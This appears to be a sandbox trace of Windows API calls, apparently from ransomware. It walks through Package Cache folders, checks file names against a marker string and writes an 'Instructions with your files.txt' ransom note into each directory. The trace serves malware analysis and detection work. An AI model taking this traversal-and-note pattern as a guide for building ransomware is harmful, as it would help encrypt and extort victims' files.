[0132.055] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned 95
[0132.055] GetProcessHeap () returned 0x810000
[0132.055] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.055] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned 97
[0132.055] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.055] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\.") returned 97
[0132.055] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.055] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\..") returned 98
[0132.055] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4697340, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.055] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Instructions with your files.txt") returned 128
[0132.055] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.055] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0132.055] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned 118
[0132.055] GetProcessHeap () returned 0x810000
[0132.055] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.056] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned 120
[0132.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.056] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\.") returned 120
[0132.056] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.056] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\..") returned 121
[0132.056] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b69ee00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7b69ee00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7b69ee00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.056] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 127
[0132.056] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.056] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46711e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb46711e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.056] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt") returned 151
[0132.056] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.056] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0132.056] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 144
[0132.056] StrStrIW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0132.056] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.056] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt") returned 151
[0132.056] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.056] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.057] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.057] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.058] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.058] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.058] CloseHandle (hObject=0x118) returned 1
[0132.058] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.058] GetProcessHeap () returned 0x810000
[0132.058] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.058] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0132.058] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Instructions with your files.txt") returned 128
[0132.058] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.060] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.061] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.061] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.061] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.061] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.061] CloseHandle (hObject=0x114) returned 1
[0132.061] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.061] GetProcessHeap () returned 0x810000
[0132.061] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.061] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4697340, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4697340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.061] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Instructions with your files.txt") returned 119
[0132.061] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.062] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.062] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.062] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.063] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.063] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.063] CloseHandle (hObject=0x110) returned 1
[0132.063] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.063] GetProcessHeap () returned 0x810000
[0132.063] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.063] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb483a260, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb483a260, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1
[0132.063] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 86
[0132.063] GetProcessHeap () returned 0x810000
[0132.063] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.063] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned 88
[0132.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb483a260, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb483a260, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.063] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\.") returned 88
[0132.064] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb483a260, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb483a260, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.064] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\..") returned 89
[0132.064] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb483a260, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb483a260, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb483a260, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.064] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Instructions with your files.txt") returned 119
[0132.064] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.064] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb483a260, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb483a260, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.064] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned 95
[0132.064] GetProcessHeap () returned 0x810000
[0132.064] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.064] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned 97
[0132.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb483a260, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb483a260, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.064] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\.") returned 97
[0132.064] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb483a260, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb483a260, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.064] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\..") returned 98
[0132.064] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb483a260, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb483a260, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb483a260, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.064] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Instructions with your files.txt") returned 128
[0132.064] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.064] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4814100, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4814100, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0132.064] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned 119
[0132.064] GetProcessHeap () returned 0x810000
[0132.064] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.064] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*") returned 121
